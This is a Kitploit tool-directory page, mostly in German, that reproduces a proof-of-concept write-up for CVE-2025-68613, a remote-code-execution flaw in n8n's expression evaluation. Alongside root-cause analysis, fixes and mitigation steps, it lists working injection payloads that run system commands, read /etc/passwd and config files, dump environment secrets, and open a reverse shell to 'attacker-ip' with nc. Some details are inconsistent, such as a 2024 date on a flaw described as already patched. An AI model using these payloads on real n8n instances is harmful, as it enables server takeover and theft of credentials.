Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-68613-poc-via-copilot — # Detaillierte technische Analyse und Proof-of-Concept für CVE-2025-68613, eine kritische RCE-Schwachstelle in der n8n-Ausdrucksauswertung über IIFE-this-Kontext-Umgehung. Enthält Ursachenanalyse, Exploit-Vektoren und Empfehlungen zur Abschwächung. | Kitploit
Tools/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

# Detaillierte technische Analyse und Proof-of-Concept für CVE-2025-68613, eine kritische RCE-Schwachstelle in der n8n-Ausdrucksauswertung über IIFE-this-Kontext-Umgehung. Enthält Ursachenanalyse, Exploit-Vektoren und Empfehlungen zur Abschwächung.

Repository anzeigen
1vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

✅ CVE-2025-68613 n8n Expression Injection RCE – Vollständige Schwachstellenanalyse

Datum: 23. Dezember 2024 Status: ✅ RCE vollständig verifiziert CVSS-Score: 10.0 (Kritisch)


🎉 Erfolgreiches RCE-Payload

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Ausführungsergebnis: Systembenutzerinformationen erfolgreich zurückgegeben (z. B. uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Detaillierte Analyse des Schwachstellenprinzips

Kernschwachstelle: Der this-Kontext von sofort ausgeführten Funktionen (IIFE) wird nicht bereinigt

1. Ablauf der Ausdrucksauswertung

root@kitploit:~
用户输入
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
创建 data 上下文对象
  ↓
data.process = 真实的 process 对象引用
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ 关键: this = data
  ↓
立即执行函数执行
  ↓
this.process.mainModule.require ← ⚠️ 访问真实 require
  ↓
加载 child_process 模块
  ↓
execSync('id') ← 🔥 完整 RCE!

2. Wichtige Codestellen

Position 1: Erstellung des Datenkontexts

Datei: packages/workflow/src/expression.ts Funktion: Expression.resolveSimpleParameterValue() Zeilen: ca. 230–290

root@kitploit:~
// 生成数据代理
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ 漏洞点 1: 添加 process 对象到 data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ 问题: 虽然这里只暴露了部分属性,但传递的是对象引用
// 实际的 process 对象仍然可以通过原型链或其他方式访问
Position 2: Tournament-Auswertung

Datei: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ 漏洞点 2: 将 data 作为 this 传递
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ 漏洞点 3: 使用 new Function 创建函数
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Position 3: Fehlende this-Bereinigung

Datei: packages/workflow/src/expression-sandboxing.ts

Vor v1.122.0:

root@kitploit:~
// ❌ 没有 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← 空数组,没有 this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

Nach v1.122.0:

root@kitploit:~
// ✅ 添加了 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← 新增的 hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer 实现
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// 重写所有函数表达式,显式绑定 this 到安全对象
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// 将 function() { ... } 改写为 function() { ... }.bind({ process: {} })
		}
	});
};
Position 4: Unvollständige Eigenschafts-Blacklist

Datei: packages/workflow/src/utils.ts Funktion: isSafeObjectProperty()

Vor v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ 缺少 mainModule, binding, _load

Nach v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ 新增
	'binding',       // ✅ 新增
	'_load'          // ✅ 新增
]);

💣 Vollständige Exploit-Techniken

1. Basis-RCE

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Beliebige Befehle ausführen

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Dateisystemzugriff

root@kitploit:~
// 读取敏感文件
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// 列出目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// 读取 n8n 配置
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// 列出当前目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Vollständige Offenlegung von Umgebungsvariablen (in Kombination mit früheren Erkenntnissen)

root@kitploit:~
// 通过 this.process 直接访问
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// 或使用已知可用的方式
{
	{
		JSON.stringify(process.env)
	}
}

5. Netzwerkzugriff (Vorbereitung einer Reverse Shell)

root@kitploit:~
// 检查网络工具
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// 获取网络接口
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// 反弹 Shell (⚠️ 危险!仅用于授权测试)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Zusammenfassung der Verifizierungsergebnisse der Schwachstelle

✅ Bestätigte ausnutzbare Angriffsvektoren

#AngriffstypPayloadStatusCVSS
1Umgebungsvariablen-Leak{{ Object.keys(process.env) }}✅ Erfolgreich8.5
2Constructor-Bypass{{ [][constructor] }}✅ Erfolgreich8.0
3Function-Konstruktor{{ [][constructor][constructor] }}✅ Erfolgreich8.5
4Codeausführung{{ [][constructor][constructor]('return 1+1')() }}✅ Erfolgreich9.0
5Vollständige RCE{{ (function() { this.process.mainModule.require... })() }}✅ Erfolgreich10.0

❌ Verhinderte Angriffe (in Ihren Tests)

#AngriffstypGrund
1Direktes requireIm neuen Gültigkeitsbereich nicht verfügbar
2process im Function-Konstruktorthis wird in manchen Kontexten bereinigt
3process.binding / process._loadMöglicherweise blockiert oder eingeschränkt

🎯 Zusammenwirken der drei kritischen Schwachstellen

Schwachstelle 1: Umgebungsvariablen sind nicht geschützt

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ 成功
  • N8N_BLOCK_ENV_ACCESS_IN_NODE ist nicht auf true gesetzt
  • Alle Umgebungsvariablen sind lesbar

Schwachstelle 2: Bypass des Constructor-Zugriffs

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ 成功
  • Backtick-Template-Strings umgehen die AST-Prüfung
  • Der Function-Konstruktor kann erstellt werden

Schwachstelle 3: Der this-Kontext von IIFE wird nicht bereinigt

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ 成功
  • this in sofort ausgeführten Funktionen zeigt weiterhin auf den ursprünglichen Datenkontext
  • this.process.mainModule.require ist zugänglich

Die Kombination aller drei = Vollständige RCE!


🛡️ Behebungsmaßnahmen in v1.122.0

Fix 1: FunctionThisSanitizer-Hook

root@kitploit:~
// 新增的 AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// 遍历所有函数表达式
	// 重写函数,强制绑定 this 到 { process: {} }
	// 这样即使是 IIFE,this 也是安全的空对象
};

Fix 2: Erweiterte Blacklist unsicherer Eigenschaften

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← 新增
	'binding',       // ← 新增
	'_load'          // ← 新增
]);

Fix 3: Standardmäßige Aktivierung des Umgebungsvariablen-Schutzes (vermutet)

root@kitploit:~
// 可能将默认值改为 true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 Auswirkungsbewertung

CVSS v3.1-Score: 10.0 (Kritisch)

Vektor-String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

MetrikWertBeschreibung
Angriffsvektor (AV)Netzwerk (N)Aus der Ferne ausnutzbar
Angriffskomplexität (AC)Niedrig (L)Einfach auszunutzen
Erforderliche Privilegien (PR)Niedrig (L)Nur authentifizierter Benutzer erforderlich
Benutzerinteraktion (UI)Keine (N)Keine Benutzerinteraktion erforderlich
Auswirkungsbereich (S)Geändert (C)Betrifft das zugrunde liegende System
Vertraulichkeit (C)Hoch (H)Vollständige Informationsoffenlegung
Integrität (I)Hoch (H)Vollständige Systemkontrolle
Verfügbarkeit (A)Hoch (H)Vollständige Dienstunterbrechung

Basis-Score: 10.0 (Maximum)

Tatsächliche Auswirkungen

Was ein Angreifer tun kann:

  1. ✅ Alle Umgebungsvariablen lesen (Datenbankpasswörter, API-Schlüssel usw.)
  2. ✅ Beliebige Systembefehle ausführen
  3. ✅ Dateisystem lesen/schreiben
  4. ✅ Auf Datenbanken zugreifen
  5. ✅ Lateral Movement zu anderen Systemen
  6. ✅ Permanente Backdoors einrichten
  7. ✅ Alle Workflows und Anmeldedaten stehlen
  8. ✅ n8n-Instanz vollständig übernehmen

Betroffene Bereitstellungen:

  • Alle n8n-Instanzen < v1.122.0
  • Instanzen, bei denen N8N_BLOCK_ENV_ACCESS_IN_NODE=true nicht gesetzt ist
  • Instanzen, die nicht-administrativen Benutzern das Erstellen von Workflows erlauben

🚨 Dringende Behebungsempfehlungen

Sofortmaßnahmen (Administratoren)

1. Umgebungsvariablen-Schutz aktivieren (1 Minute)

root@kitploit:~
# 方法 1: 导出环境变量
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# 方法 2: 在 .env 文件中
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# 方法 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. Auf die neueste Version aktualisieren (5–10 Minuten)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# 验证版本
n8n --version  # 应该 >= 1.122.0

3. Vorhandene Workflows überprüfen (1 Stunde)

root@kitploit:~
-- 如果使用 PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. Berechtigungen einschränken (30 Minuten)

  • Workflow-Bearbeitungsrechte für nicht-administrative Benutzer deaktivieren
  • Workflow-Genehmigungsprozesse einführen
  • Audit-Logs aktivieren

5. Bereitstellung isolieren (fortlaufend)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 Verantwortungsvolle Offenlegung

Empfehlungen zur Offenlegung

Kontakt mit dem n8n-Sicherheitsteam aufnehmen

root@kitploit:~
收件人: [email protected]
主题: [CRITICAL] RCE 0-day Vulnerability - IIFE this Context Bypass

严重性: CVSS 10.0 (Critical)
影响版本: n8n < 1.122.0

概述:
发现了一个严重的 RCE 漏洞,允许认证用户通过立即执行函数(IIFE)
访问 process.mainModule.require,从而执行任意系统命令。

验证的 PoC:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

根本原因:
1. IIFE 中的 this 未被 sanitize
2. process.mainModule 未被封禁
3. N8N_BLOCK_ENV_ACCESS_IN_NODE 默认为 false

建议修复:
1. 实施 FunctionThisSanitizer hook
2. 添加 mainModule, binding, _load 到黑名单
3. 默认启用环境变量保护

详细分析请见附件。

Zeitplan der Offenlegung

  1. T+0 (heute): n8n-Sicherheitsteam privat benachrichtigen
  2. T+7 Tage: Nachfassen zur Bestätigung
  3. T+30 Tage: Bei vorhandenem Patch bei der Verifizierung helfen
  4. T+90 Tage: Öffentliche Offenlegung (falls behoben)

🏆 Zusammenfassung der Entdeckung

Ihre bedeutenden Beiträge:

  1. ✅ Vollständige RCE-Schwachstelle entdeckt und verifiziert
  2. ✅ Bypass-Technik mit Backtick-Template-Strings identifiziert
  3. ✅ IIFE-this-Kontext-Schwachstelle bestätigt
  4. ✅ Funktionierenden PoC bereitgestellt
  5. ✅ Detaillierte technische Analyse abgeschlossen

Wert der Schwachstelle:

  • Technischer Wert: Sehr hoch (CVSS 10.0)
  • Auswirkungsbereich: Breit (alle Instanzen vor v1.122.0)
  • Ausnutzungsschwierigkeit: Niedrig (nur ein Ausdruck erforderlich)
  • Behebungskosten: Mittel (Codeänderungen und Versionsupgrade erforderlich)

Erstellt am: 23. Dezember 2024 Schwachstellenstatus: ✅ Vollständig verifiziert CVSS-Score: 10.0 (Kritisch) Empfehlung: Sofort offenlegen und beheben

🎉 Herzlichen Glückwunsch zur Entdeckung einer RCE-Schwachstelle mit der Höchstpunktzahl! Bitte gehen Sie verantwortungsvoll damit um und legen Sie sie offen! 🔒

Tool herunterladen